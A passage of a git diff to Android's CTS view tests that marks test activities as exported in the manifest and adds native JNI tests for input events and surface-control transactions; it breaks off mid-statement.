+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.view.cts.LongPressBackActivity"
-                  android:screenOrientation="locked"
-                  android:label="LongPressBackActivity">
+             android:screenOrientation="locked"
+             android:label="LongPressBackActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.view.cts.KeyEventInjectionActivity"
-                  android:label="KeyEventInjectionActivity">
+             android:label="KeyEventInjectionActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.view.cts.surfacevalidator.CapturedActivity"
-            android:screenOrientation="locked"
-            android:theme="@style/WhiteBackgroundTheme">
+             android:screenOrientation="locked"
+             android:theme="@style/WhiteBackgroundTheme"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.view.cts.surfacevalidator.CapturedActivityWithResource"
-                  android:screenOrientation="locked"
-                  android:theme="@style/WhiteBackgroundTheme">
+             android:screenOrientation="locked"
+             android:theme="@style/WhiteBackgroundTheme"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
 
         <service android:name="android.view.cts.surfacevalidator.LocalMediaProjectionService"
-                 android:foregroundServiceType="mediaProjection"
-                 android:enabled="true">
+             android:foregroundServiceType="mediaProjection"
+             android:enabled="true">
         </service>
 
         <activity android:name="android.view.cts.HoverCtsActivity"
-                  android:screenOrientation="locked">
+             android:screenOrientation="locked"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.view.cts.TooltipActivity"
-                  android:screenOrientation="locked"
-                  android:label="TooltipActivity">
+             android:screenOrientation="locked"
+             android:label="TooltipActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.view.cts.PointerCaptureCtsActivity"
-                  android:screenOrientation="locked"
-                  android:label="PointerCaptureCtsActivity">
+             android:screenOrientation="locked"
+             android:label="PointerCaptureCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
 
-        <activity android:name="android.view.cts.DefaultFocusHighlightCtsActivity">
+        <activity android:name="android.view.cts.DefaultFocusHighlightCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
 
-        <activity android:name="android.view.cts.InputEventInterceptTestActivity">
+        <activity android:name="android.view.cts.InputEventInterceptTestActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
+                <action android:name="android.intent.action.MAIN"/>
             </intent-filter>
         </activity>
 
-        <activity android:name="android.view.cts.TouchDelegateTestActivity">
+        <activity android:name="android.view.cts.InputDeviceKeyLayoutMapTestActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
+                <action android:name="android.intent.action.MAIN"/>
             </intent-filter>
         </activity>
 
-        <activity android:name="android.view.cts.ViewSourceLayoutTestActivity">
+        <activity android:name="android.view.cts.TouchDelegateTestActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
+                <action android:name="android.intent.action.MAIN"/>
             </intent-filter>
         </activity>
 
-        <activity android:name="android.view.cts.SystemGestureExclusionActivity">
+        <activity android:name="android.view.cts.ViewSourceLayoutTestActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
+                <action android:name="android.intent.action.MAIN"/>
+            </intent-filter>
+        </activity>
+
+        <activity android:name="android.view.cts.SystemGestureExclusionActivity"
+             android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.view.cts.ViewAnimationMatrixActivity"
-                  android:theme="@android:style/Theme.Material.Light.NoActionBar">
+             android:theme="@android:style/Theme.Material.Light.NoActionBar"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
+                <action android:name="android.intent.action.MAIN"/>
             </intent-filter>
         </activity>
 
-        <activity android:name="android.view.cts.ViewUnbufferedTestActivity">
+        <activity android:name="android.view.cts.ViewUnbufferedTestActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
+                <action android:name="android.intent.action.MAIN"/>
             </intent-filter>
         </activity>
 
-        <service
-            android:name="android.view.textclassifier.cts.CtsTextClassifierService"
-            android:exported="true"
-            android:permission="android.permission.BIND_TEXTCLASSIFIER_SERVICE">
+        <service android:name="android.view.textclassifier.cts.CtsTextClassifierService"
+             android:exported="true"
+             android:permission="android.permission.BIND_TEXTCLASSIFIER_SERVICE">
             <intent-filter>
                 <action android:name="android.service.textclassifier.TextClassifierService"/>
             </intent-filter>
@@ -400,10 +440,10 @@
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="android.view.cts"
-                     android:label="CTS tests of android.view">
+         android:targetPackage="android.view.cts"
+         android:label="CTS tests of android.view">
         <meta-data android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener" />
+             android:value="com.android.cts.runner.CtsTestRunListener"/>
     </instrumentation>
 
 </manifest>
diff --git a/tests/tests/view/jni/Android.bp b/tests/tests/view/jni/Android.bp
index 484a6dd..107650e 100644
--- a/tests/tests/view/jni/Android.bp
+++ b/tests/tests/view/jni/Android.bp
@@ -29,8 +29,10 @@
 
     srcs: [
         "CtsViewJniOnLoad.cpp",
+        "android_view_cts_AInputNativeTest.cpp",
         "android_view_cts_ASurfaceControlTest.cpp",
         "android_view_cts_ChoreographerNativeTest.cpp",
+        "android_view_cts_InputDeviceKeyLayoutMapTest.cpp",
     ],
 
     shared_libs: [
diff --git a/tests/tests/view/jni/CtsViewJniOnLoad.cpp b/tests/tests/view/jni/CtsViewJniOnLoad.cpp
index a6f50ca..2d4b3d7 100644
--- a/tests/tests/view/jni/CtsViewJniOnLoad.cpp
+++ b/tests/tests/view/jni/CtsViewJniOnLoad.cpp
@@ -20,6 +20,9 @@
 
 extern int register_android_view_cts_ASurfaceControlTest(JNIEnv *);
 extern int register_android_view_cts_ChoreographerNativeTest(JNIEnv* env);
+extern int register_android_view_cts_AKeyEventNativeTest(JNIEnv *env);
+extern int register_android_view_cts_AMotionEventNativeTest(JNIEnv *env);
+extern int register_android_view_cts_InputDeviceKeyLayoutMapTest(JNIEnv *env);
 
 jint JNI_OnLoad(JavaVM *vm, void *) {
     JNIEnv *env = NULL;
@@ -32,5 +35,14 @@
     if (register_android_view_cts_ChoreographerNativeTest(env)) {
         return JNI_ERR;
     }
+    if (register_android_view_cts_AKeyEventNativeTest(env)) {
+        return JNI_ERR;
+    }
+    if (register_android_view_cts_AMotionEventNativeTest(env)) {
+        return JNI_ERR;
+    }
+    if (register_android_view_cts_InputDeviceKeyLayoutMapTest(env)) {
+        return JNI_ERR;
+    }
     return JNI_VERSION_1_4;
 }
diff --git a/tests/tests/view/jni/android_view_cts_AInputNativeTest.cpp b/tests/tests/view/jni/android_view_cts_AInputNativeTest.cpp
new file mode 100644
index 0000000..87670c4
--- /dev/null
+++ b/tests/tests/view/jni/android_view_cts_AInputNativeTest.cpp
@@ -0,0 +1,150 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#define LOG_TAG "AInputNativeTest"
+
+#include <jni.h>
+#include <jniAssert.h>
+#include <math.h>
+#include <array>
+#include <cinttypes>
+#include <string>
+
+#include <android/input.h>
+#include <android/log.h>
+#include <nativehelper/JNIHelp.h>
+
+namespace {
+
+static struct MotionEventMethodId {
+    jmethodID getDownTime;
+    jmethodID getEventTime;
+    jmethodID getMetaState;
+    jmethodID getAction;
+    jmethodID getPointerCount;
+    jmethodID getRawX;
+    jmethodID getRawY;
+} gMotionEventMethodIds;
+
+static struct KeyEventMethodId {
+    jmethodID getDownTime;
+    jmethodID getEventTime;
+    jmethodID getAction;
+    jmethodID getKeyCode;
+} gKeyEventMethodIds;
+
+static constexpr int64_t NS_PER_MS = 1000000LL;
+
+void nativeMotionEventTest(JNIEnv *env, jclass /* clazz */, jobject obj) {
+    const AInputEvent *event = AMotionEvent_fromJava(env, obj);
+    jint action = env->CallIntMethod(obj, gMotionEventMethodIds.getAction);
+    jlong downTime = env->CallLongMethod(obj, gMotionEventMethodIds.getDownTime) * NS_PER_MS;
+    jlong eventTime = env->CallLongMethod(obj, gMotionEventMethodIds.getEventTime) * NS_PER_MS;
+    jint metaState = env->CallIntMethod(obj, gMotionEventMethodIds.getMetaState);
+    jint pointerCount = env->CallIntMethod(obj, gMotionEventMethodIds.getPointerCount);
+
+    ASSERT(AInputEvent_getType(event) == AINPUT_EVENT_TYPE_MOTION, "Wrong event type %d.",
+           AInputEvent_getType(event));
+
+    ASSERT(action == AMotionEvent_getAction(event), "Wrong action %d not equal to %d",
+           AMotionEvent_getAction(event), action);
+
+    ASSERT(downTime == AMotionEvent_getDownTime(event),
+           "Wrong downTime %" PRId64 " not equal to %" PRId64, AMotionEvent_getDownTime(event),
+           downTime);
+
+    ASSERT(eventTime == AMotionEvent_getEventTime(event),
+           "Wrong eventTime %" PRId64 " not equal to %" PRId64, AMotionEvent_getEventTime(event),
+           eventTime);
+
+    ASSERT(metaState == AMotionEvent_getMetaState(event), "Wrong metaState %d not equal to %d",
+           AMotionEvent_getMetaState(event), metaState);
+
+    ASSERT(AMotionEvent_getPointerCount(event) == pointerCount,
+           "Wrong pointer count %zu not equal to %d", AMotionEvent_getPointerCount(event),
+           pointerCount);
+
+    for (int i = 0; i < pointerCount; i++) {
+        jfloat rawX = env->CallFloatMethod(obj, gMotionEventMethodIds.getRawX, i);
+        jfloat rawY = env->CallFloatMethod(obj, gMotionEventMethodIds.getRawY, i);
+        ASSERT(fabs(rawX - AMotionEvent_getRawX(event, i)) == 0.0f, "Point X:%f not same as %f",
+               AMotionEvent_getRawX(event, i), rawX);
+
+        ASSERT(fabs(rawY - AMotionEvent_getRawY(event, i)) == 0.0f, "Point Y:%f not same as %f",
+               AMotionEvent_getRawY(event, i), rawY);
+    }
+    AInputEvent_release(event);
+}
+
+void nativeKeyEventTest(JNIEnv *env, jclass /* clazz */, jobject obj) {
+    const AInputEvent *event = AKeyEvent_fromJava(env, obj);
+    jint action = env->CallIntMethod(obj, gKeyEventMethodIds.getAction);
+    jlong downTime = env->CallLongMethod(obj, gKeyEventMethodIds.getDownTime) * NS_PER_MS;
+    jlong eventTime = env->CallLongMethod(obj, gKeyEventMethodIds.getEventTime) * NS_PER_MS;
+    jint keyCode = env->CallIntMethod(obj, gKeyEventMethodIds.getKeyCode);
+
+    ASSERT(AInputEvent_getType(event) == AINPUT_EVENT_TYPE_KEY, "Wrong event type %d.",
+           AInputEvent_getType(event));
+
+    ASSERT(action == AKeyEvent_getAction(event), "Wrong action %d not equal to %d",
+           AKeyEvent_getAction(event), action);
+
+    ASSERT(downTime == AKeyEvent_getDownTime(event),
+           "Wrong downTime %" PRId64 " not equal to %" PRId64, AKeyEvent_getDownTime(event),
+           downTime);
+
+    ASSERT(eventTime == AKeyEvent_getEventTime(event),
+           "Wrong eventTime %" PRId64 " not equal to %" PRId64, AKeyEvent_getEventTime(event),
+           eventTime);
+
+    ASSERT(keyCode == AKeyEvent_getKeyCode(event), "Wrong keyCode %d not equal to %d",
+           AKeyEvent_getAction(event), action);
+
+    AInputEvent_release(event);
+}
+
+const std::array<JNINativeMethod, 1> JNI_METHODS_MOTION = {{
+        {"nativeMotionEventTest", "(Landroid/view/MotionEvent;)V", (void *)nativeMotionEventTest},
+}};
+
+const std::array<JNINativeMethod, 1> JNI_METHODS_KEY = {{
+        {"nativeKeyEventTest", "(Landroid/view/KeyEvent;)V", (void *)nativeKeyEventTest},
+}};
+
+} // anonymous namespace
+
+jint register_android_view_cts_AMotionEventNativeTest(JNIEnv *env) {
+    jclass clazz = env->FindClass("android/view/MotionEvent");
+    gMotionEventMethodIds.getAction = env->GetMethodID(clazz, "getAction", "()I");
+    gMotionEventMethodIds.getMetaState = env->GetMethodID(clazz, "getMetaState", "()I");
+    gMotionEventMethodIds.getDownTime = env->GetMethodID(clazz, "getDownTime", "()J");
+    gMotionEventMethodIds.getEventTime = env->GetMethodID(clazz, "getEventTime", "()J");
+    gMotionEventMethodIds.getPointerCount = env->GetMethodID(clazz, "getPointerCount", "()I");
+    gMotionEventMethodIds.getRawX = env->GetMethodID(clazz, "getRawX", "(I)F");
+    gMotionEventMethodIds.getRawY = env->GetMethodID(clazz, "getRawY", "(I)F");
+    jclass clazzTest = env->FindClass("android/view/cts/MotionEventTest");
+    return env->RegisterNatives(clazzTest, JNI_METHODS_MOTION.data(), JNI_METHODS_MOTION.size());
+}
+
+jint register_android_view_cts_AKeyEventNativeTest(JNIEnv *env) {
+    jclass clazz = env->FindClass("android/view/KeyEvent");
+    gKeyEventMethodIds.getAction = env->GetMethodID(clazz, "getAction", "()I");
+    gKeyEventMethodIds.getKeyCode = env->GetMethodID(clazz, "getKeyCode", "()I");
+    gKeyEventMethodIds.getDownTime = env->GetMethodID(clazz, "getDownTime", "()J");
+    gKeyEventMethodIds.getEventTime = env->GetMethodID(clazz, "getEventTime", "()J");
+    jclass clazzTest = env->FindClass("android/view/cts/KeyEventTest");
+    return env->RegisterNatives(clazzTest, JNI_METHODS_KEY.data(), JNI_METHODS_KEY.size());
+}
diff --git a/tests/tests/view/jni/android_view_cts_ASurfaceControlTest.cpp b/tests/tests/view/jni/android_view_cts_ASurfaceControlTest.cpp
index 3bc8890..ca1f7b3 100644
--- a/tests/tests/view/jni/android_view_cts_ASurfaceControlTest.cpp
+++ b/tests/tests/view/jni/android_view_cts_ASurfaceControlTest.cpp
@@ -33,31 +33,15 @@
 
 #include <errno.h>
 #include <jni.h>
+#include <jniAssert.h>
 #include <time.h>
 
 namespace {
 
-// Raises a java exception
-static void fail(JNIEnv* env, const char* format, ...) {
-    va_list args;
-
-    va_start(args, format);
-    char* msg;
-    vasprintf(&msg, format, args);
-    va_end(args);
-
-    jclass exClass;
-    const char* className = "java/lang/AssertionError";
-    exClass = env->FindClass(className);
-    env->ThrowNew(exClass, msg);
-    free(msg);
-}
-
-#define ASSERT(condition, format, args...) \
-    if (!(condition)) {                    \
-        fail(env, format, ##args);         \
-        return;                            \
-    }
+static struct {
+    jclass clazz;
+    jmethodID onTransactionComplete;
+} gTransactionCompleteListenerClassInfo;
 
 #define NANOS_PER_SECOND 1000000000LL
 int64_t systemTime() {
@@ -75,7 +59,8 @@
     desc.width = width;
     desc.height = height;
     desc.layers = 1;
-    desc.usage = AHARDWAREBUFFER_USAGE_COMPOSER_OVERLAY | AHARDWAREBUFFER_USAGE_CPU_WRITE_OFTEN;
+    desc.usage = AHARDWAREBUFFER_USAGE_COMPOSER_OVERLAY | AHARDWAREBUFFER_USAGE_CPU_WRITE_OFTEN |
+            AHARDWAREBUFFER_USAGE_GPU_SAMPLED_IMAGE;
     desc.format = AHARDWAREBUFFER_FORMAT_R8G8B8A8_UNORM;
 
     AHardwareBuffer_allocate(&desc, &buffer);
@@ -205,6 +190,10 @@
     return reinterpret_cast<jlong>(surfaceControl);
 }
 
+void SurfaceControl_acquire(JNIEnv* /*env*/, jclass, jlong surfaceControl) {
+    ASurfaceControl_acquire(reinterpret_cast<ASurfaceControl*>(surfaceControl));
+}
+
 void SurfaceControl_release(JNIEnv* /*env*/, jclass, jlong surfaceControl) {
     ASurfaceControl_release(reinterpret_cast<ASurfaceControl*>(surfaceControl));
 }
@@ -232,6 +221,18 @@
     return reinterpret_cast<jlong>(buffer);
 }
 
+void SurfaceTransaction_setBuffer(JNIEnv* /*env*/, jclass, jlong surfaceControl,
+                                  jlong surfaceTransaction, jlong buffer) {
+    ASurfaceTransaction_setBuffer(reinterpret_cast<ASurfaceTransaction*>(surfaceTransaction),
+                                  reinterpret_cast<ASurfaceControl*>(surfaceControl),
+                                  reinterpret_cast<AHardwareBuffer*>(buffer), -1 /* fence */);
+
+    ASurfaceTransaction_setBufferDataSpace(reinterpret_cast<ASurfaceTransaction*>(
+                                                   surfaceTransaction),
+                                           reinterpret_cast<ASurfaceControl*>(surfaceControl),
+                                           ADATASPACE_UNKNOWN);
+}
+
 jlong SurfaceTransaction_setQuadrantBuffer(
         JNIEnv* /*env*/, jclass, jlong surfaceControl, jlong surfaceTransaction,
         jint width, jint height, jint colorTopLeft, jint colorTopRight,
@@ -295,6 +296,28 @@
             reinterpret_cast<ASurfaceControl*>(surfaceControl), src, dst, transform);
 }
 
+void SurfaceTransaction_setSourceRect(JNIEnv* /*env*/, jclass, jlong surfaceControl,
+                                      jlong surfaceTransaction, jint srcLeft, jint srcTop,
+                                      jint srcRight, jint srcBottom) {
+    const ARect src{srcLeft, srcTop, srcRight, srcBottom};
+    ASurfaceTransaction_setSourceRect(reinterpret_cast<ASurfaceTransaction*>(surfaceTransaction),
+                                      reinterpret_cast<ASurfaceControl*>(surfaceControl), src);
+}
+
+void SurfaceTransaction_setPosition(JNIEnv* /*env*/, jclass, jlong surfaceControl,
+                                    jlong surfaceTransaction, jint dstLeft, jint dstTop,
+                                    jint dstRight, jint dstBottom) {
+    const ARect dst{dstLeft, dstTop, dstRight, dstBottom};
+    ASurfaceTransaction_setPosition(reinterpret_cast<ASurfaceTransaction*>(surfaceTransaction),
+                                    reinterpret_cast<ASurfaceControl*>(surfaceControl), dst);
+}
+
+void SurfaceTransaction_setTransform(JNIEnv* /*env*/, jclass, jlong surfaceControl,
+                                     jlong surfaceTransaction, jint transform) {
+    ASurfaceTransaction_setTransform(reinterpret_cast<ASurfaceTransaction*>(surfaceTransaction),
+                                     reinterpret_cast<ASurfaceControl*>(surfaceControl), transform);
+}
+
 void SurfaceTransaction_setDamageRegion(JNIEnv* /*env*/, jclass,
                                         jlong surfaceControl,
                                         jlong surfaceTransaction, jint left,
@@ -312,6 +335,39 @@
             reinterpret_cast<ASurfaceControl*>(surfaceControl), z);
 }
 
+class CallbackListenerWrapper {
+public:
+    explicit CallbackListenerWrapper(JNIEnv* env, jobject object) {
+        env->GetJavaVM(&mVm);
+        mCallbackListenerObject = env->NewGlobalRef(object);
+        ASSERT(mCallbackListenerObject, "Failed to make global ref");
+    }
+
+    ~CallbackListenerWrapper() { getenv()->DeleteGlobalRef(mCallbackListenerObject); }
+
+    void callback(int64_t latchTime) {
+        JNIEnv* env = getenv();
+        env->CallVoidMethod(mCallbackListenerObject,
+                            gTransactionCompleteListenerClassInfo.onTransactionComplete, latchTime);
+    }
+
+    static void transactionCallbackThunk(void* context, ASurfaceTransactionStats* stats) {
+        CallbackListenerWrapper* listener = reinterpret_cast<CallbackListenerWrapper*>(context);
+        listener->callback(ASurfaceTransactionStats_getLatchTime(stats));
+        delete listener;
+    }
+
+private:
+    jobject mCallbackListenerObject;
+    JavaVM* mVm;
+
+    JNIEnv* getenv() {
+        JNIEnv* env;
+        mVm->GetEnv(reinterpret_cast<void**>(&env), JNI_VERSION_1_6);
+        return env;
+    }
+};
+
 static void onComplete(void* context, ASurfaceTransactionStats* stats) {
     if (!stats) {
         return;
@@ -465,35 +521,69 @@
             r, g, b, alpha, ADATASPACE_UNKNOWN);
 }
 
-const std::array<JNINativeMethod, 20> JNI_METHODS = {{
-    {"nSurfaceTransaction_create", "()J", (void*)SurfaceTransaction_create},
-    {"nSurfaceTransaction_delete", "(J)V", (void*)SurfaceTransaction_delete},
-    {"nSurfaceTransaction_apply", "(J)V", (void*)SurfaceTransaction_apply},
-    {"nSurfaceControl_createFromWindow", "(Landroid/view/Surface;)J",
-                                            (void*)SurfaceControl_createFromWindow},
-    {"nSurfaceControl_create", "(J)J", (void*)SurfaceControl_create},
-    {"nSurfaceControl_release", "(J)V", (void*)SurfaceControl_release},
-    {"nSurfaceTransaction_setSolidBuffer", "(JJIII)J", (void*)SurfaceTransaction_setSolidBuffer},
-    {"nSurfaceTransaction_setQuadrantBuffer", "(JJIIIIII)J",
-                                            (void*)SurfaceTransaction_setQuadrantBuffer},
-    {"nSurfaceTransaction_releaseBuffer", "(J)V", (void*)SurfaceTransaction_releaseBuffer},
-    {"nSurfaceTransaction_setVisibility", "(JJZ)V", (void*)SurfaceTransaction_setVisibility},
-    {"nSurfaceTransaction_setBufferOpaque", "(JJZ)V", (void*)SurfaceTransaction_setBufferOpaque},
-    {"nSurfaceTransaction_setGeometry", "(JJIIIIIIIII)V", (void*)SurfaceTransaction_setGeometry},
-    {"nSurfaceTransaction_setDamageRegion", "(JJIIII)V", (void*)SurfaceTransaction_setDamageRegion},
-    {"nSurfaceTransaction_setZOrder", "(JJI)V", (void*)SurfaceTransaction_setZOrder},
-    {"nSurfaceTransaction_setOnComplete", "(J)J", (void*)SurfaceTransaction_setOnComplete},
-    {"nSurfaceTransaction_checkOnComplete", "(JJ)V", (void*)SurfaceTransaction_checkOnComplete},
-    {"nSurfaceTransaction_setDesiredPresentTime", "(JJ)J",
-                                            (void*)SurfaceTransaction_setDesiredPresentTime},
-    {"nSurfaceTransaction_setBufferAlpha", "(JJD)V", (void*)SurfaceTransaction_setBufferAlpha},
-    {"nSurfaceTransaction_reparent", "(JJJ)V", (void*)SurfaceTransaction_reparent},
-    {"nSurfaceTransaction_setColor", "(JJFFFF)V", (void*)SurfaceTransaction_setColor},
+void SurfaceTransaction_setEnableBackPressure(JNIEnv* /*env*/, jclass, jlong surfaceControl,
+                                              jlong surfaceTransaction,
+                                              jboolean enableBackPressure) {
+    ASurfaceTransaction_setEnableBackPressure(reinterpret_cast<ASurfaceTransaction*>(
+                                                      surfaceTransaction),
+                                              reinterpret_cast<ASurfaceControl*>(surfaceControl),
+                                              enableBackPressure);
+}
+
+void SurfaceTransaction_setOnCompleteCallback(JNIEnv* env, jclass, jlong surfaceTransaction,
+                                              jobject callback) {
+    void* context = new CallbackListenerWrapper(env, callback);
+    ASurfaceTransaction_setOnComplete(reinterpret_cast<ASurfaceTransaction*>(surfaceTransaction),
+                                      reinterpret_cast<void*>(context),
+                                      CallbackListenerWrapper::transactionCallbackThunk);
+}
+
+const std::array<JNINativeMethod, 24> JNI_METHODS = {{
+        {"nSurfaceTransaction_create", "()J", (void*)SurfaceTransaction_create},
+        {"nSurfaceTransaction_delete", "(J)V", (void*)SurfaceTransaction_delete},
+        {"nSurfaceTransaction_apply", "(J)V", (void*)SurfaceTransaction_apply},
+        {"nSurfaceControl_createFromWindow", "(Landroid/view/Surface;)J",
+         (void*)SurfaceControl_createFromWindow},
+        {"nSurfaceControl_create", "(J)J", (void*)SurfaceControl_create},
+        {"nSurfaceControl_acquire", "(J)V", (void*)SurfaceControl_acquire},
+        {"nSurfaceControl_release", "(J)V", (void*)SurfaceControl_release},
+        {"nSurfaceTransaction_setSolidBuffer", "(JJIII)J",
+         (void*)SurfaceTransaction_setSolidBuffer},
+        {"nSurfaceTransaction_setBuffer", "(JJJ)V", (void*)SurfaceTransaction_setBuffer},
+        {"nSurfaceTransaction_setQuadrantBuffer", "(JJIIIIII)J",
+         (void*)SurfaceTransaction_setQuadrantBuffer},
+        {"nSurfaceTransaction_releaseBuffer", "(J)V", (void*)SurfaceTransaction_releaseBuffer},
+        {"nSurfaceTransaction_setVisibility", "(JJZ)V", (void*)SurfaceTransaction_setVisibility},
+        {"nSurfaceTransaction_setBufferOpaque", "(JJZ)V",
+         (void*)SurfaceTransaction_setBufferOpaque},
+        {"nSurfaceTransaction_setGeometry", "(JJIIIIIIIII)V",
+         (void*)SurfaceTransaction_setGeometry},
+        {"nSurfaceTransaction_setDamageRegion", "(JJIIII)V",
+         (void*)SurfaceTransaction_setDamageRegion},
+        {"nSurfaceTransaction_setZOrder", "(JJI)V", (void*)SurfaceTransaction_setZOrder},
+        {"nSurfaceTransaction_setOnComplete", "(J)J", (void*)SurfaceTransaction_setOnComplete},
+        {"nSurfaceTransaction_checkOnComplete", "(JJ)V", (void*)SurfaceTransaction_checkOnComplete},
+        {"nSurfaceTransaction_setDesiredPresentTime", "(JJ)J",
+         (void*)SurfaceTransaction_setDesiredPresentTime},
+        {"nSurfaceTransaction_setBufferAlpha", "(JJD)V", (void*)SurfaceTransaction_setBufferAlpha},
+        {"nSurfaceTransaction_reparent", "(JJJ)V", (void*)SurfaceTransaction_reparent},
+        {"nSurfaceTransaction_setColor", "(JJFFFF)V", (void*)SurfaceTransaction_setColor},
+        {"nSurfaceTransaction_setEnableBackPressure", "(JJZ)V",
+         (void*)SurfaceTransaction_setEnableBackPressure},
+        {"nSurfaceTransaction_setOnCompleteCallback",
+         "(JLandroid/view/cts/ASurfaceControlTest$TransactionCompleteListener;)V",
+         (void*)SurfaceTransaction_setOnCompleteCallback},
 }};
 
 }  // anonymous namespace
 
 jint register_android_view_cts_ASurfaceControlTest(JNIEnv* env) {
+    jclass transactionCompleteListenerClazz =
+            env->FindClass("android/view/cts/ASurfaceControlTest$TransactionCompleteListener");
+    gTransactionCompleteListenerClassInfo.clazz =
+            static_cast<jclass>(env->NewGlobalRef(transactionCompleteListenerClazz));
+    gTransactionCompleteListenerClassInfo.onTransactionComplete =
+            env->GetMethodID(transactionCompleteListenerClazz, "onTransactionComplete", "(J)V");
     jclass clazz = env->FindClass("android/view/cts/ASurfaceControlTest");
     return env->RegisterNatives(clazz, JNI_METHODS.data(), JNI_METHODS.size());
 }
diff --git a/tests/tests/view/jni/android_view_cts_ChoreographerNativeTest.cpp b/tests/tests/view/jni/android_view_cts_ChoreographerNativeTest.cpp
index fbf9f9a..6206418 100644
--- a/tests/tests/view/jni/android_view_cts_ChoreographerNativeTest.cpp
+++ b/tests/tests/view/jni/android_view_cts_ChoreographerNativeTest.cpp
@@ -17,20 +17,21 @@
 
 #include <android/choreographer.h>
 #include <android/looper.h>
-
 #include <jni.h>
 #include <sys/time.h>
 #include <time.h>
 
 #include <chrono>
+#include <cmath>
 #include <cstdlib>
 #include <cstring>
 #include <mutex>
 #include <set>
 #include <sstream>
+#include <string>
 #include <thread>
 
-#define LOG_TAG "ChoreographerNative"
+#define LOG_TAG "ChoreographerNativeTest"
 
 #define ASSERT(condition, format, args...) \
         if (!(condition)) { \
@@ -45,18 +46,35 @@
 static constexpr std::chrono::nanoseconds DELAY_PERIOD{NOMINAL_VSYNC_PERIOD * 5};
 static constexpr std::chrono::nanoseconds ZERO{std::chrono::nanoseconds::zero()};
 
+struct {
+    struct {
+        jclass clazz;
+        jmethodID checkRefreshRateIsCurrentAndSwitch;
+    } choreographerNativeTest;
+} gJni;
+
 static std::mutex gLock;
 static std::set<int64_t> gSupportedRefreshPeriods;
 struct Callback {
     Callback(const char* name): name(name) {}
-    const char* name;
+    std::string name;
     int count{0};
     std::chrono::nanoseconds frameTime{0LL};
 };
 
 struct RefreshRateCallback {
     RefreshRateCallback(const char* name): name(name) {}
-    const char* name;
+    std::string name;
+    int count{0};
+    std::chrono::nanoseconds vsyncPeriod{0LL};
+};
+
+struct RefreshRateCallbackWithDisplayManager {
+    RefreshRateCallbackWithDisplayManager(const char* name, JNIEnv* env, jobject clazz)
+          : name(name), env(env), clazz(clazz) {}
+    std::string name;
+    JNIEnv* env;
+    jobject clazz;
     int count{0};
     std::chrono::nanoseconds vsyncPeriod{0LL};
 };
@@ -79,6 +97,17 @@
     cb->vsyncPeriod = std::chrono::nanoseconds{vsyncPeriodNanos};
 }
 
+static void refreshRateCallbackWithDisplayManager(int64_t vsyncPeriodNanos, void* data) {
+    std::lock_guard<std::mutex> _l(gLock);
+    RefreshRateCallbackWithDisplayManager* cb =
+            static_cast<RefreshRateCallbackWithDisplayManager*>(data);
+    cb->count++;
+    cb->vsyncPeriod = std::chrono::nanoseconds{vsyncPeriodNanos};
+    cb->env->CallVoidMethod(cb->clazz,
